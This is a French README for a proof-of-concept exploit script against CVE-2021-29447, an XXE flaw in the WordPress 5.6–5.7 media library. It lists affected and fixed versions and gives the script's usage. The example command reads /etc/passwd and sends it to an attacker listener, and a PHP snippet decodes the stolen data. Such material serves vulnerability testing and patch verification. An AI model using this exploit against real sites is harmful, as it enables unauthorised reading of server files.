
Un exploit de preuve de concept pour une vulnérabilité de la bibliothèque média de WordPress 5.6
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Écrit par (Isa Ebrahim - 0xRar) en janvier 2023
═══════════════════════════════════════════════════════════════════════════
[*] Titre : Problème d'analyse XML dans la bibliothèque multimédia de Wordpress menant à XXE
[*] Versions affectées : Wordpress 5.6 - 5.7
[*] Version corrigée : Wordpress 5.7.1
[*] Version d'installation : PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447 : Un utilisateur ayant la capacité de télécharger des fichiers (comme un Auteur) peut exploiter un problème d'analyse XML dans la bibliothèque multimédia menant à des attaques XXE. Cela nécessite que l'installation WordPress utilise PHP 8. L'accès aux fichiers internes est possible en cas d'attaque XXE réussie. Cela a été corrigé dans WordPress version 5.7.1, ainsi que dans les anciennes versions affectées via une version mineure.
Ce script est facile à comprendre et à exécuter, et il automatisera les étapes nécessaires pour exploiter l'attaque XXE sur la bibliothèque multimédia de WordPress.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
Exemple :
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Pour décoder le base64, utilisez/exécutez l'extrait PHP suivant :
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php